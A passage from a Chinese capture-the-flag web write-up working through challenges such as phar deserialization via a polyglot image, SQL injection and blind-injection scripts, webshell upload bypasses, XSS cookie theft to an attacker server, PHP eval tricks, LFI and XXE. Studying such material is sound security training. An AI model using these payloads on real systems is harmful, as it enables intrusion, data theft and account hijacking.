\x04-\x04;\x04H\x04U\x04c\x04q\x04~\x04\x8c\x04\x9a\x04\xa8\x04\xb6\x04\xc4\x04\xd3\x04\xe1\x04\xf0\x04\xfe\x05\r\x05\x1c\x05+\x05:\x05I\x05X\x05g\x05w\x05\x86\x05\x96\x05\xa6\x05\xb5\x05\xc5\x05\xd5\x05\xe5\x05\xf6\x06\x06\x06\x16\x06'\x067\x06H\x06Y\x06j\x06{\x06\x8c\x06\x9d\x06\xaf\x06\xc0\x06\xd1\x06\xe3\x06\xf5\x07\x07\x07\x19\x07+\x07=\x07O\x07a\x07t\x07\x86\x07\x99\x07\xac\x07\xbf\x07\xd2\x07\xe5\x07\xf8\x08\x0b\x08\x1f\x082\x08F\x08Z\x08n\x08\x82\x08\x96\x08\xaa\x08\xbe\x08\xd2\x08\xe7\x08\xfb\x09\x10\x09%\x09:\x09O\x09d\x09y\x09\x8f\x09\xa4\x09\xba\x09\xcf\x09\xe5\x09\xfb\n\x11\n'\n=\nT\nj\n\x81\n\x98\n\xae\n\xc5\n\xdc\n\xf3\x0b\x0b\x0b\"\x0b9\x0bQ\x0bi\x0b\x80\x0b\x98\x0b\xb0\x0b\xc8\x0b\xe1\x0b\xf9\x0c\x12\x0c*\x0cC\x0c\\\x0cu\x0c\x8e\x0c\xa7\x0c\xc0\x0c\xd9\x0c\xf3\r\r\r&\r@\rZ\rt\r\x8e\r\xa9\r\xc3\r\xde\r\xf8\x0e\x13\x0e.\x0eI\x0ed\x0e\x7f\x0e\x9b\x0e\xb6\x0e\xd2\x0e\xee\x0f\x09\x0f%\x0fA\x0f^\x0fz\x0f\x96\x0f\xb3\x0f\xcf\x0f\xec\x10\x09\x10&\x10C\x10a\x10~\x10\x9b\x10\xb9\x10\xd7\x10\xf5\x11\x13\x111\x11O\x11m\x11\x8c\x11\xaa\x11\xc9\x11\xe8\x12\x07\x12&\x12E\x12d\x12\x84\x12\xa3\x12\xc3\x12\xe3\x13\x03\x13\x23\x13C\x13c\x13\x83\x13\xa4\x13\xc5\x13\xe5\x14\x06\x14'\x14I\x14j\x14\x8b\x14\xad\x14\xce\x14\xf0\x15\x12\x154\x15V\x15x\x15\x9b\x15\xbd\x15\xe0\x16\x03\x16&\x16I\x16l\x16\x8f\x16\xb2\x16\xd6\x16\xfa\x17\x1d\x17A\x17e\x17\x89\x17\xae\x17\xd2\x17\xf7\x18\x1b\x18@\x18e\x18\x8a\x18\xaf\x18\xd5\x18\xfa\x19 \x19E\x19k\x19\x91\x19\xb7\x19\xdd\x1a\x04\x1a*\x1aQ\x1aw\x1a\x9e\x1a\xc5\x1a\xec\x1b\x14\x1b;\x1bc\x1b\x8a\x1b\xb2\x1b\xda\x1c\x02\x1c*\x1cR\x1c{\x1c\xa3\x1c\xcc\x1c\xf5\x1d\x1e\x1dG\x1dp\x1d\x99\x1d\xc3\x1d\xec\x1e\x16\x1e@\x1ej\x1e\x94\x1e\xbe\x1e\xe9\x1f\x13\x1f>\x1fi\x1f\x94\x1f\xbf\x1f\xea \x15 A l \x98 \xc4 \xf0!\x1c!H!u!\xa1!\xce!\xfb\"'\"U\"\x82\"\xaf\"\xdd\x23\n\x238\x23f\x23\x94\x23\xc2\x23\xf0\x24\x1f\x24M\x24|\x24\xab\x24\xda%\x09%8%h%\x97%\xc7%\xf7&'&W&\x87&\xb7&\xe8'\x18'I'z'\xab'\xdc(\r(?(q(\xa2(\xd4)\x06)8)k)\x9d)\xd0*\x02*5*h*\x9b*\xcf+\x02+6+i+\x9d+\xd1,\x05,9,n,\xa2,\xd7-\x0c-A-v-\xab-\xe1.\x16.L.\x82.\xb7.\xee/\x24/Z/\x91/\xc7/\xfe050l0\xa40\xdb1\x121J1\x821\xba1\xf22*2c2\x9b2\xd43\r3F3\x7f3\xb83\xf14+4e4\x9e4\xd85\x135M5\x875\xc25\xfd676r6\xae6\xe97\x247`7\x9c7\xd78\x148P8\x8c8\xc89\x059B9\x7f9\xbc9\xf9:6:t:\xb2:\xef;-;k;\xaa;\xe8<'<e<\xa4<\xe3=\"=a=\xa1=\xe0> >`>\xa0>\xe0?!?a?\xa2?\xe2@\x23@d@\xa6@\xe7A)AjA\xacA\xeeB0BrB\xb5B\xf7C:C}C\xc0D\x03DGD\x8aD\xceE\x12EUE\x9aE\xdeF\"FgF\xabF\xf0G5G{G\xc0H\x05HKH\x91H\xd7I\x1dIcI\xa9I\xf0J7J}J\xc4K\x0cKSK\x9aK\xe2L*LrL\xbaM\x02MJM\x93M\xdcN%NnN\xb7O\x00OIO\x93O\xddP'PqP\xbbQ\x06QPQ\x9bQ\xe6R1R|R\xc7S\x13S_S\xaaS\xf6TBT\x8fT\xdbU(UuU\xc2V\x0fV\\V\xa9V\xf7WDW\x92W\xe0X/X}X\xcbY\x1aYiY\xb8Z\x07ZVZ\xa6Z\xf5[E[\x95[\xe5\\5\\\x86\\\xd6]']x]\xc9^\x1a^l^\xbd_\x0f_a_\xb3`\x05`W`\xaa`\xfcaOa\xa2a\xf5bIb\x9cb\xf0cCc\x97c\xebd@d\x94d\xe9e=e\x92e\xe7f=f\x92f\xe8g=g\x93g\xe9h?h\x96h\xeciCi\x9ai\xf1jHj\x9fj\xf7kOk\xa7k\xfflWl\xafm\x08m`m\xb9n\x12nkn\xc4o\x1eoxo\xd1p+p\x86p\xe0q:q\x95q\xf0rKr\xa6s\x01s]s\xb8t\x14tpt\xccu(u\x85u\xe1v>v\x9bv\xf8wVw\xb3x\x11xnx\xccy*y\x89y\xe7zFz\xa5{\x04{c{\xc2|!|\x81|\xe1}A}\xa1~\x01~b~\xc2\x7f\x23\x7f\x84\x7f\xe5\x80G\x80\xa8\x81\n\x81k\x81\xcd\x820\x82\x92\x82\xf4\x83W\x83\xba\x84\x1d\x84\x80\x84\xe3\x85G\x85\xab\x86\x0e\x86r\x86\xd7\x87;\x87\x9f\x88\x04\x88i\x88\xce\x893\x89\x99\x89\xfe\x8ad\x8a\xca\x8b0\x8b\x96\x8b\xfc\x8cc\x8c\xca\x8d1\x8d\x98\x8d\xff\x8ef\x8e\xce\x8f6\x8f\x9e\x90\x06\x90n\x90\xd6\x91?\x91\xa8\x92\x11\x92z\x92\xe3\x93M\x93\xb6\x94 \x94\x8a\x94\xf4\x95_\x95\xc9\x964\x96\x9f\x97\n\x97u\x97\xe0\x98L\x98\xb8\x99\x24\x99\x90\x99\xfc\x9ah\x9a\xd5\x9bB\x9b\xaf\x9c\x1c\x9c\x89\x9c\xf7\x9dd\x9d\xd2\x9e@\x9e\xae\x9f\x1d\x9f\x8b\x9f\xfa\xa0i\xa0\xd8\xa1G\xa1\xb6\xa2&\xa2\x96\xa3\x06\xa3v\xa3\xe6\xa4V\xa4\xc7\xa58\xa5\xa9\xa6\x1a\xa6\x8b\xa6\xfd\xa7n\xa7\xe0\xa8R\xa8\xc4\xa97\xa9\xa9\xaa\x1c\xaa\x8f\xab\x02\xabu\xab\xe9\xac\\\xac\xd0\xadD\xad\xb8\xae-\xae\xa1\xaf\x16\xaf\x8b\xb0\x00\xb0u\xb0\xea\xb1`\xb1\xd6\xb2K\xb2\xc2\xb38\xb3\xae\xb4%\xb4\x9c\xb5\x13\xb5\x8a\xb6\x01\xb6y\xb6\xf0\xb7h\xb7\xe0\xb8Y\xb8\xd1\xb9J\xb9\xc2\xba;\xba\xb5\xbb.\xbb\xa7\xbc!\xbc\x9b\xbd\x15\xbd\x8f\xbe\n\xbe\x84\xbe\xff\xbfz\xbf\xf5\xc0p\xc0\xec\xc1g\xc1\xe3\xc2_\xc2\xdb\xc3X\xc3\xd4\xc4Q\xc4\xce\xc5K\xc5\xc8\xc6F\xc6\xc3\xc7A\xc7\xbf\xc8=\xc8\xbc\xc9:\xc9\xb9\xca8\xca\xb7\xcb6\xcb\xb6\xcc5\xcc\xb5\xcd5\xcd\xb5\xce6\xce\xb6\xcf7\xcf\xb8\xd09\xd0\xba\xd1<\xd1\xbe\xd2?\xd2\xc1\xd3D\xd3\xc6\xd4I\xd4\xcb\xd5N\xd5\xd1\xd6U\xd6\xd8\xd7\\\xd7\xe0\xd8d\xd8\xe8\xd9l\xd9\xf1\xdav\xda\xfb\xdb\x80\xdc\x05\xdc\x8a\xdd\x10\xdd\x96\xde\x1c\xde\xa2\xdf)\xdf\xaf\xe06\xe0\xbd\xe1D\xe1\xcc\xe2S\xe2\xdb\xe3c\xe3\xeb\xe4s\xe4\xfc\xe5\x84\xe6\r\xe6\x96\xe7\x1f\xe7\xa9\xe82\xe8\xbc\xe9F\xe9\xd0\xea[\xea\xe5\xebp\xeb\xfb\xec\x86\xed\x11\xed\x9c\xee(\xee\xb4\xef@\xef\xcc\xf0X\xf0\xe5\xf1r\xf1\xff\xf2\x8c\xf3\x19\xf3\xa7\xf44\xf4\xc2\xf5P\xf5\xde\xf6m\xf6\xfb\xf7\x8a\xf8\x19\xf8\xa8\xf98\xf9\xc7\xfaW\xfa\xe7\xfbw\xfc\x07\xfc\x98\xfd)\xfd\xba\xfeK\xfe\xdc\xffm\xff\xffpara\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02ff\x00\x00\xf2\xa7\x00\x00\rY\x00\x00\x13\xd0\x00\x00\n[vcgt\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00ndin\x00\x00\x00\x00\x00\x00\x006\x00\x00\xae\x00\x00\x00R\x00\x00\x00C\xc0\x00\x00\xb0\xc0\x00\x00&@\x00\x00\r\x80\x00\x00P\x00\x00\x00T@\x00\x0233\x00\x0233\x00\x0233\x00\x00\x00\x00\x00\x00\x00\x00sf32\x00\x00\x00\x00\x00\x01\x0cr\x00\x00\x05\xf8\xff\xff\xf3\x1d\x00\x00\x07\xba\x00\x00\xfdr\xff\xff\xfb\x9d\xff\xff\xfd\xa4\x00\x00\x03\xd9\x00\x00\xc0qmmod\x00\x00\x00\x00\x00\x00\x06\x10\x00\x00\xa0@\x00\x00\x00\x00\xd5\x18d\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xc0\x00\x11\x08\x00\x0c\x00\x0c\x03\x01\"\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01}\x01\x02\x03\x00\x04\x11\x05\x12!1A\x06\x13Qa\x07\"q\x142\x81\x91\xa1\x08\x23B\xb1\xc1\x15R\xd1\xf0\x243br\x82\x09\n\x16\x17\x18\x19\x1a%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xc4\x00\x1f\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\xff\xc4\x00\xb5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04\x04\x00\x01\x02w\x00\x01\x02\x03\x11\x04\x05!1\x06\x12AQ\x07aq\x13\"2\x81\x08\x14B\x91\xa1\xb1\xc1\x09\x233R\xf0\x15br\xd1\n\x16\x244\xe1%\xf1\x17\x18\x19\x1a&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x92\x93\x94\x95\x96\x97\x98\x99\x9a\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xff\xdb\x00C\x00\x02\x02\x02\x02\x02\x02\x03\x02\x02\x03\x05\x03\x03\x03\x05\x06\x05\x05\x05\x05\x06\x08\x06\x06\x06\x06\x06\x08\n\x08\x08\x08\x08\x08\x08\n\n\n\n\n\n\n\n\x0c\x0c\x0c\x0c\x0c\x0c\x0e\x0e\x0e\x0e\x0e\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\xff\xdb\x00C\x01\x02\x02\x02\x04\x04\x04\x07\x04\x04\x07\x10\x0b\x09\x0b\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\xff\xdd\x00\x04\x00\x01\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00?\x00\xfc\x93\xa2\x8a(4?\xff\xd9<?php __HALT_COMPILER(); ?>\r\n\xbd\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x87\x00\x00\x00O:7:\"Picture\":3:{s:7:\"sandbox\";s:2:\"||\";s:8:\"fileName\";s:46:\"/readflag > /var/www/html/picture/here_is_flag\";s:9:\"extension\";s:2:\"||\";}\x08\x00\x00\x00test.txt\x04\x00\x00\x00\x06\x88\xc9\\\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00\x00test\xa8t\x9ci\xfc\x91\xc1yY\x94?\xa6\xe6\x91\xce\x1a\x83mhE\x02\x00\x00\x00GBMB", 'image/jpeg'))]
headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0","Referer":"http://47.106.182.92:8233/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)

content = json.loads(response.content)
orgin_url = content['success']['orgin']

paramsMultipart = [['picture', ['exp.svg', "<?xml version=\"1.0\" standalone=\"no\"?>\n<!DOCTYPE svg SYSTEM \"phar://./%s\">\n<svg version=\"1.0\" xmlns=\"http://www.w3.org/2000/svg\"\n width=\"1.600000pt\" height=\"3.200000pt\" viewBox=\"0 0 1.600000 3.200000\"\n preserveAspectRatio=\"xMidYMid meet\">\n<metadata>\nCreated by potrace 1.13, written by Peter Selinger 2001-2015\n</metadata>\n<g transform=\"translate(0.000000,3.200000) scale(0.080000,-0.080000)\"\nfill=\"\x23000000\" stroke=\"none\">\n</g>\n</svg>", 'application/octet-stream']]]

paramsMultipart[0][1][1] = paramsMultipart[0][1][1] % orgin_url
#print(paramsMultipart[0][1][1])
response = session.post(ip + "upload.php", files=paramsMultipart, headers=headers)

print requests.get(ip + "/picture/here_is_flag").content

12、Babysql

题目描述:成信大的学生真是不得了,这么多黑客,不过这次我做了防御的!

这题和前面第五题差不多,就是过滤了or和by双写就能绕过

13、神秘的三叶草

题目描述:柳暗花明

打开网址F12查看,发现氛围两个字有一个a标签,链接到Secret.php文件

直接访问

抓包,在里面加上referer:https://www.Sycsecret.com

转发之后得到

在原来添加了referer字段之后,再把UA头改为Syclover

转发得到

在前面两步的基础上加上x-forwarded-for:127.0.0.1,转发得到flag

14、Eval evil code

题目描述:Lamber是个老实人,他会执行你给他的代码。

题解:参考官方题解

打开题目网址,有两个输入框,上面那个是你要它执行的代码,下面那个验证码,然后验证码经过md5加密后的前四位已经给你了

先给出我跑验证码的脚本,这里四位都是数字的肯定能跑出来,其他的基本跑不出,不过下面有官方的脚本

import hashlib,sys
def getMD5(Cap):
    for x in range(100000,1000000):
        captcha=x
        MD5=hashlib.md5(str(captcha)).hexdigest()
        if MD5[:4] == Cap:
            return captcha
print getMD5('四位数字')

这里我先是输入了phpinfo();,记住这个后面的分号好一定要带上,发现能成功执行

然后执行系统命令,发现提示,不能执行带参的函数,这里我以为只要括号里有东西就不行,就不会了

 

下面给出官方思路

1、爆破 md5 的部分见下方的法二脚本处。
结合 scandir(),getcwd(),readfile() 等函数遍历当前目录的所有文件名,再结合 array_reverse 和next读取倒数第二个文件,也就是 flag 文件。
payload=readfile(next(array_reverse(scandir(getcwd())))); //读取倒数第二个文件,记得带上分号
2、
想办法获得我们需要的恶意参数
这里利用自定义变量获得。
脚本如下 
# -*- coding: UTF-8 -*- 
import requests 
import hashlib 
import re 
import random 
import sys 
url='http://148.70.59.198:34386/index.php?a=system("cat theflag.php");' 
headers={ 'Content-Type': 'application/x-www-form-urlencoded',
          'Cookie':'PHPSESSID=1a0ab8abc64974479646b48938cda2e4' }
def getCap():
    res=requests.get(url=url,headers=headers).text
    r=re.search("substr\(md5\(\$captcha\),0,4\) =='(.*?)'",res)
    c=r.group(1)
    md5_value=''
    x=''
    while c!=md5_value:
        x=str(random.random())
        md5_value=hashlib.md5(x.encode("utf-8")).hexdigest()[:4]
    return x
def test(poc,cap):
    data='payload={}&code={}'.format(poc,cap)
    res=requests.post(url=url,headers=headers,data=data).text
    return res
a=test('eval(end(pos(get_defined_vars())));',getCap())
print(a[:500])

 

3、

依旧是想办法获得恶意参数。
http header 头中注入恶意参数,再利用 getallheaders 函数获得参数 。
 
ayrain: system(' cat theflag.php '); 
payload=eval(end(getallheaders()));

15、Jiang‘s Secret

题目描述:我在那放了一个秘密!

这题可以F12查看源码,这里介绍一个骚方法,直接ctrl+A全选,发现多了个Oh!You found me,点击之后跳到Archive_room.php界面

点击Secret之后直接跳到end.php,提示:没看清么?回去再仔细看看吧。

返回去,F12查看源码,发现Secret的a标签链接的是action.php,直接访问然后抓包,放到repeater模块发送一下得到一个文件名

访问一下,得到源码

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

这里过滤了一些东西,但是可以直接使用php://fiter伪协议读取文件,payload

file=php://filter/convert.base64-encode/resource=flag.php

16、Hardsql

题目描述:信安之路,任重道远…

hint:sql报错注入

sql报错注入,这里过滤了空格,使用括号绕过;过滤了and,使用or代替,后面语句where条件只用一个;过滤了等于号,使用like绕过

http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(database())),%27~%27),3))%23&password=123    #爆数据库名 geek
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),%27~%27),3))%23&password=123    #爆表名 H4rDsq1
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),%27~%27),3))%23&password=123    #爆字段 id,username,password
http://118.25.14.40:8103/check.php?username=admin%27or(updatexml(1,concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),3))%23&password=123    #得到flag

更:

做buuoj的时候这里会出现flag不全的问题,这是因为updatexml爆出信息有长度限制32位,这时候可以用substr来截断,但是这里被过滤了,这里可以使用right函数,函数作用就是从右往左截取length个字符,后面那个34可以自己调控,没出来就改这个数字,多试试

admin'or(updatexml(1,right(concat(%27~%27,(select(group_concat(password))from(H4rDsq1)),%27~%27),34),3))%23

 

17、你有特洛伊么

题目描述:dGhpcyBpcyBub3QgZWFzeQ==

打开题目网址,发现上传按钮

直接上传一个php一句话,会提示"not image!"

上面检测的是content-type类型,将其改为image/jpeg可绕过

这个上面检测的是php后缀名,将其改为phtml,成功绕过

上面这个过滤的很明显,不能出现"<?",那就换个一句话<script language="php">eval($_GET['x']);</script>实行绕过

最后这个过滤是检查文件头,在内容前面加上GIF89,就可以上传成功

但是这里只告诉了文件名,没有告诉路径,盲猜在文件夹upload下,最后访问页面测试一下

http://118.25.14.40:8107/upload/shell.phtml?x=phpinfo();

测试成功,可以菜刀连接,也可以直接执行系统命令,得到flag

http://118.25.14.40:8107/upload/shell.phtml?x=system(%22cat%20/flag/flag.txt%22);

这里分享一下骚操作,就是直接访问upload文件夹,去跑别人的马,就算没跑出来,也可以获得一些做题方法

18、Leixiao's blog

题目描述:你会盗号吗??

hint:储存型XSS && 认真测试各个功能点(怀疑机器人挂了的Q我)

题解:官方说xss点在忘记密码那里

先随便注册一个账号,mmmmm/mmmmm,然后密保问题是test,当我们填写完会发现它被写入网页的位置,就可以闭合标签

 

这里提供一下官方的思路,先在自己的公网服务器上新建一个x.js的文件,里面写入

window.location='http://你的公网服务器/cookie='+document.cookie;

然后注册的时候把密保问题改为下面这个,记住不是答案,是问题

"></script/src=//你的公网服务器ip地址/x.js>
官方说这里好像填10进制的ip机器人不解析,得换成16进制

然后触发xss的点是在登陆之后的report模块里,将忘记密码的网址填进去

查看日志即可获取cookie

然后刷新网页,抓包,更改cookie,即可获取flag

在这里非常感谢淚笑师傅的指导!!!

19、反序列化1.0

题目描述:socre10000拿到flag

打开题目,F12得到关键代码

<!--
class Student
{
    public $score = 0;
    public function __destruct()
    {
        echo "__destruct working";
        if($this->score==10000) {
            $flag = "******************";
            echo $flag;
        }
    }
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);

?>

直接构造payload:

<?php
	class Student
	{
	    public $score = 0;
	    public function __destruct()
	    {
	        echo "__destruct working";
	        if($this->score==10000) {
	            $flag = "******************";
	            echo $flag;
	        }
	    }
	}
	$o=new Student;
	$o->score=10000;
	echo serialize($o);
?>

//打印O:7:"Student":1:{s:5:"score";i:10000;}


?exp=O:7:"Student":1:{s:5:"score";i:10000;}

拿到flag

20、又来一只猫

题目描述:我家猫名字叫php

打开网址,发现提示信息,有备份网站的习惯,直接访问http://118.25.14.40:8109/www.zip得到源码

发现几个关键的文件:index.php、class.php、flag.php

flag.php里面的flag是假的,查看index.php和class.php,发现关键代码

//index.php
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

//class.php
<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

这里介绍一下__wakeup,它是一个魔术方法,会在反序列化时调用,但是可以被绕过

O:7:"Student":1:{s:5:"score";i:10000;}    //正规的
O:7:"Student":2:{s:5:"score";i:10000;}    //修改之后的
Sudent后面那个数字代表类中的成员个数,修改成一个比原来大的数字,就可以绕过

最后构造的payload,拿到flag

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}


这里加的%00Name%00代表的是成员是private
protected加的是%00*name%00

21、你有初恋吗

题目描述:你变心了吗

打开题目网址,F12得到源码

关键代码

<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {
	if($_COOKIE['Heart'] === md5($adore. urldecode($now))){
		die ($flag);
		}else {
			die('I do not love you! You are not in my heart!');
			}
	}
-->

这里使用二次编码就能绕过,但是官方题解是说想考hash长度扩展攻击,我最后构造的payload

post:lover=%25%37%33%25%37%39%25%36%33%25%36%43%25%36%46%25%37%36%25%36%35%25%37%32

 

22、Finalsql

题目描述:sql你太美:

打开网址,提示信息是sql盲注,这里的sql注入存在于上面的链接中

id=1时:页面内容是NO! Not this! Click others~~~
id=2时:页面内容是yingyingying~ Not this as well~~
id=3时:页面内容是很多的Ohhh You find the flag read on!
id=4时:页面内容是OK OK I will tell you,just in the next! really~~~~
id=5时:页面内容是
You are too naive!How can I give it to you? So,why not take a look at the sixth one?But where is it?
id=6时:Clever! But not this table.
id=其他内容时:显示ERROR!!!

访问之后,这里利用的是id后面的参数可以做减法来注入,php作比较时返回的值要么是1,要么是0,所以可以通过判断页面是否发生改变来判断语句的真假,拿id=2这个页面来演示

这里先介绍一下盲注常用的几个函数
strcmp(a,b)    #a和b相等时会返回0,a>b会返回-1,a<b返回1
ascii(),ord()    #函数返回字符串的首个字符的 ASCII 值
截断字符串使用的几个函数
substr(str,start,len)    #从字符串的start下标开始,截取len个字符
left(str,len)        #从左往右截取len个字符
right(str,len)       #从右往左截取len个字符

url:http://118.25.14.40:8104/search.php?id=2-(strcmp(database(),%27geek%27))

页面无变化说明数据库名就是geek,后面脚本中i的范围也可以通过这样来确定,当然也可以设置很长,能读出来都行

接下来就是跑表,脚本代码,the table_name is :F1naI1y,Flaaaaag

import sys
import requests

table_name=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),"
payload2=",1))>"
payload3=")"

for i in range(1,20):
    max=122    #z
    min=43    #+   44 ,
    while abs(max-min)>1: 
        mid=int((max+min)/2)
        payload=url+payload1+str(i)+payload2+str(mid)+payload3
        #print payload
        response=requests.get(payload)
        if response.content.find("others")!=-1:
            min=mid
        else:
            max=mid
    table_name=table_name+chr(max)
    print("the table_name is :%s" % table_name)

字段名,根据前面的题目可以猜测出是id,username,password,下面只给出password的验证代码,其余的可以自己改

import requests
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(column_name))"
payload2="from(information_schema.columns)where(table_name)=%27F1naI1y%27),"
payload3=",1))="
payload4=")"
a=[112,97,115,115,119,111,114,100]        #password 
j=13  #password的起始位置
for i in range(len(a)):
    payload=url+payload1+payload2+str(j)+payload3+str(a[i])+payload4
    r=requests.get(payload)
    j+=1
    if "others" not in r.text:
        print payload
        print r.text
    else:
        print "success"

下面给出跑字段的脚本

import sys
import requests

column_name=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),"
payload2=",1))>"
payload3=")"

for i in range(1,30):
    max=122    #z
    min=43    #+   44 ,
    while abs(max-min)>1: 
        mid=int((max+min)/2)
        payload=url+payload1+str(i)+payload2+str(mid)+payload3
        #print payload
        response=requests.get(payload)
        if response.content.find("others")!=-1:
            min=mid
        else:
            max=mid
    column_name=column_name+chr(max)
    print("the column_name is :%s" % column_name)

最后跑username和password字段的内容,最终在password中得到flag

import sys
import requests

username=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(username))from(F1naI1y)),"
payload2=",1))>"
payload3=")"

for i in range(1,51):
    max=122    #z
    min=43    #+   44 ,
    while abs(max-min)>1: 
        mid=int((max+min)/2)
        payload=url+payload1+str(i)+payload2+str(mid)+payload3
        #print payload
        response=requests.get(payload)
        if response.content.find("others")!=-1:
            min=mid
        else:
            max=mid
    username=username+chr(max)
    print("the username is :%s" % username)

password=''
url="http://118.25.14.40:8104/search.php?id=2"
payload1="-(ascii(substr((select(group_concat(password))from(F1naI1y)),"
payload2=",1))>"
payload3=")"

for i in range(1,195):
    max=125    #}
    min=43    #+   44 ,
    while abs(max-min)>1: 
        mid=int((max+min)/2)
        payload=url+payload1+str(i)+payload2+str(mid)+payload3
        #print payload
        response=requests.get(payload)
        if response.content.find("others")!=-1:
            min=mid
        else:
            max=mid
    password=password+chr(max)
    print("the password is :%s" % password)

23、你读懂潇文清的网站了吗 

题目描述:xxe

参考官方题解:

1、输入框存在xxe,读源码,然后依次找到config.php upload.php等。找到文件名这里个人想法御剑扫描一下也行,因为不是能特别明确的能看到upload.php

<?xml version = "1.0"?> 
<!DOCTYPE note [<!ENTITY hacker SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php"> ]> 

<name>&hacker;</name>

 

上面是官方的wp,具体的步骤:

(1)现在输入框随便输入什么东西,抓包,发送,没什么变化

(2)xxe注入点就在123那里,在前面加个Content-Type:text/xml,然后再加上payload,即可读取index.php文件内容

//index.php
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");

if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
	echo "no!!!you cant read flag right here!";
	exit();
}

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

print($xml);
}

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Login</title>
    <link href="./style_log.css" rel="stylesheet" type="text/css">
